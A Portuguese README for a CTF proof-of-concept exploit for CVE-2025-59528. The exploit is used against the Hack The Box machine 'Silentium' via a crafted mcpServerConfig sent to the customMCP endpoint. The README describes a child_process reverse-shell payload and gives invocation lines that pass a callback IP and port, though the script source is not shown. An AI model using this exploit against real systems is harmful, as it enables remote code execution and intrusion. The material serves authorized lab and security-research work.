
PoC para CVE-2025-59528 usado para obter execução remota de código na máquina Silentium no HTB
Apenas para uso educacional. Este projeto destina-se a pesquisa de segurança controlada, demonstrações em sala de aula e testes autorizados em laboratório isolado. Não o utilize contra sistemas, redes, aplicações ou contas que você não possua ou para as quais não tenha permissão explícita de teste.
Esta prova de conceito demonstra como um valor mcpServerConfig tratado de forma inadequada pode permitir avaliação de JavaScript no lado do servidor e execução de comandos por meio da funcionalidade de carregamento de nó customMCP.
O script suporta dois métodos de autenticação:
Authorization.Após a autenticação, o script envia uma configuração elaborada para /api/v1/node-load-method/customMCP. O payload utiliza a funcionalidade de processo filho do Node.js para executar um comando de shell e conectar-se de volta a um listener controlado pelo pesquisador. Esse comportamento está incluído apenas para demonstrar o impacto potencial em um ambiente de laboratório autorizado.
requests.Instale a dependência com:
python3 -m pip install requests
Salve o script como CVE-2025-59528.py.
python3 CVE-2025-59528.py <email> <password> <target-host> <callback-ip> <callback-port>
Exemplo com valores apenas para documentação:
python3 CVE-2025-59528.py [email protected] 'REDACTED_PASSWORD' lab.example.test 192.0.2.10 4444
python3 CVE-2025-59528.py <api-key> <target-host> <callback-ip> <callback-port>
Exemplo com valores apenas para documentação:
python3 CVE-2025-59528.py 'REDACTED_API_KEY' lab.example.test 192.0.2.10 4444
O script espera que estas rotas da aplicação estejam disponíveis:
/api/v1/auth/login/api/v1/node-load-method/customMCPO script atual constrói URLs http://. Atualize a implementação para HTTPS ao testar uma implantação de laboratório que exija TLS.
main() valida a quantidade de argumentos da linha de comando e seleciona o modo de autenticação.login() envia as credenciais fornecidas para o endpoint de login.tokens() extrai os valores de sessão do cabeçalho de resposta Set-Cookie.shell() monta a requisição autenticada e envia o valor mcpServerConfig elaborado.bearer() executa a mesma requisição usando um token bearer em vez de cookies de sessão.